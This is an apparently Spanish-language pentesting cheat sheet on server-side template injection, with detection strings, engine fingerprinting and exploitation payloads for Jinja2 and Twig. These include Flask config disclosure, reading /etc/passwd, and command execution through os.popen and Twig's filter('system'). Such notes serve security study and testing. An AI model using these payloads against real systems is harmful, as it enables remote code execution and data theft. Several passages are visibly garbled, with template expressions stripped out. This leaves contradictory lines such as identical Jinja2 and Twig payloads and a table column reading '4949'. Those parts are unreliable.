Skip to content

SSTI (Server-Side Template Injection)

Un motor de plantillas (template engine) combina plantillas predefinidas con datos generados dinámicamente para producir respuestas dinámicas. Un uso cotidiano es un sitio web con encabezado/pie de página comunes para todas las páginas: la plantilla añade contenido dinámico manteniendo la misma estructura, evitando duplicación de código. Ejemplos populares: Jinja2 y Twig (los más comunes en pentesting), además de Mako, Freemarker, Velocity, Smarty y ERB.

SSTI ocurre cuando la entrada del usuario se concatena directamente dentro de una plantilla antes de que esta se compile/renderice (en vez de pasarse como una simple variable de datos). Esto permite al atacante inyectar sintaxis propia del motor de plantillas, que se evalúa como código durante el renderizado — a diferencia de XSS (que ejecuta en el navegador de la víctima), SSTI ejecuta código en el servidor, por lo que su impacto máximo suele ser RCE directa.

Sintaxis básica de Jinja2

jinja2
Hello {{ name }}!
jinja2
{% for name in names %}
Hello {{ name }}!
{% endfor %}
  • : imprime el resultado de una expresión.
  • {% %} : ejecuta lógica de control (bucles, condicionales) sin imprimir resultado directamente.

Identificación de SSTI

El proceso es análogo a identificar cualquier otra vulnerabilidad de inyección (como SQLi): inyectar caracteres especiales con significado semántico para el motor de plantillas, y observar el comportamiento de la aplicación (errores, cambios en la respuesta).

Payload de detección universal

Esta cadena contiene caracteres especiales relevantes para la mayoría de los motores de plantillas populares a la vez, generando un error de sintaxis si alguno de ellos procesa la entrada como plantilla:

c
${{<%[%'"}}%\.

Referencia extensa de payloads por motor: https://swisskyrepo.github.io/PayloadsAllTheThings/Server Side Template Injection/

Identificación del motor específico

Una vez confirmado que la aplicación evalúa la entrada como plantilla, se prueba con la sintaxis de cada motor candidato para determinar cuál responde:

c
# Mako
${"z".join("ab")}

# Jinja2
${{7*7}}

# Twig
${{7*7}}

El siguiente payload es especialmente útil para diferenciar entre Jinja2 y Twig cuando ambos parecen aceptar la sintaxis , ya que el comportamiento del operador * con tipos mixtos difiere entre ambos lenguajes subyacentes (Python vs PHP):

c
{{7*'7'}}
  • Jinja2 (Python): el resultado es 7777777 — Python repite la cadena '7' siete veces al multiplicar un string por un entero.
  • Twig (PHP): el resultado es 49 — PHP realiza coerción de tipos y convierte '7' a entero antes de multiplicar.

Tabla de referencia rápida por motor

MotorLenguajePayload de detección
Jinja2Python4949
TwigPHP4949
FreemarkerJava<#assign x=7*7>${x}49
VelocityJava#set($x=7*7)$x49
SmartyPHP{7*7}49
ERBRuby<%= 7*7 %>49
MakoPython${7*7}49
  • Cuando 49 devuelve 49 en vez del texto literal, aún no distingue Jinja2 de Twig — usar el payload 49 de la sección anterior para esa distinción específica.

Explotando SSTI en Jinja2

Divulgación de información

jinja2
{{ config.items() }}
  • En aplicaciones Flask, el objeto config global suele contener claves sensibles (SECRET_KEY, credenciales de base de datos, tokens de API) directamente accesibles desde el contexto de la plantilla.
jinja2
{{ self.__init__.__globals__.__builtins__ }}
  • Esta cadena de atributos "escapa" del sandbox de Jinja2 (que normalmente restringe el acceso a objetos Python arbitrarios) navegando por la jerarquía de objetos internos de Python hasta llegar a __builtins__, que expone funciones nativas como open(), eval(), __import__().

Local File Inclusion (LFI)

jinja2
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

Remote Code Execution (RCE)

jinja2
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Payloads alternativos de RCE (cuando self no está disponible en el contexto)

Algunas rutas de escape del sandbox no dependen del objeto self, útiles cuando el contexto de renderizado es más restringido:

jinja2
{{ ''.__class__.__mro__[1].__subclasses__() }}
  • Esto lista todas las subclases de object cargadas en el proceso Python — entre ellas suele encontrarse alguna que permita ejecución de comandos indirectamente (por ejemplo, clases relacionadas con subprocess.Popen), identificable por su índice en la lista resultante.
jinja2
{{ cycler.__init__.__globals__.os.popen('id').read() }}
  • cycler es un objeto interno de Jinja2 (usado normalmente para alternar clases CSS en bucles {% for %}) que, en ciertas versiones, expone acceso a __globals__ de forma más directa que self.

Explotando SSTI en Twig

Divulgación de información

twig
{{ _self }}
  • _self es una variable especial de Twig que hace referencia al propio objeto de la plantilla en ejecución — su representación puede revelar información sobre la estructura interna de la aplicación.

Local File Inclusion (LFI)

twig
{{ "/etc/passwd"|file_excerpt(1,-1) }}
  • Requiere que el filtro file_excerpt esté disponible (proviene de una extensión específica, no del core de Twig) — si no está disponible, buscar filtros equivalentes según las extensiones instaladas en la aplicación objetivo.

Remote Code Execution (RCE)

twig
{{ ['id'] | filter('system') }}
  • Abusa del filtro filter() de Twig, que normalmente se usa para aplicar una función a cada elemento de un array — al pasarle 'system' (la función PHP de ejecución de comandos) como filtro, se ejecuta sobre el elemento 'id' del array, resultando en system('id').

Variante alternativa usando map():

twig
{{ ['id'] | map('system') }}

Referencia completa: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/README.md

Notas de metodología

  • Confirmar primero que la vulnerabilidad es SSTI y no simplemente XSS: si el payload 49 se refleja literalmente sin evaluarse, probablemente sea XSS (el navegador nunca procesa como código); si se refleja como 49, es SSTI confirmado (el servidor evaluó la expresión antes de enviar la respuesta).
  • El impacto de SSTI casi siempre escala a RCE completa — a diferencia de XSS (limitado al navegador de la víctima) o SQLi (limitado a la base de datos), SSTI ejecuta directamente en el proceso del servidor de aplicación.
  • Cuando el sandbox del motor bloquea las rutas de escape estándar mostradas aquí, PayloadsAllTheThings mantiene una colección extensa de bypasses específicos por versión de cada motor — vale la pena consultarlo directamente cuando los payloads básicos fallan.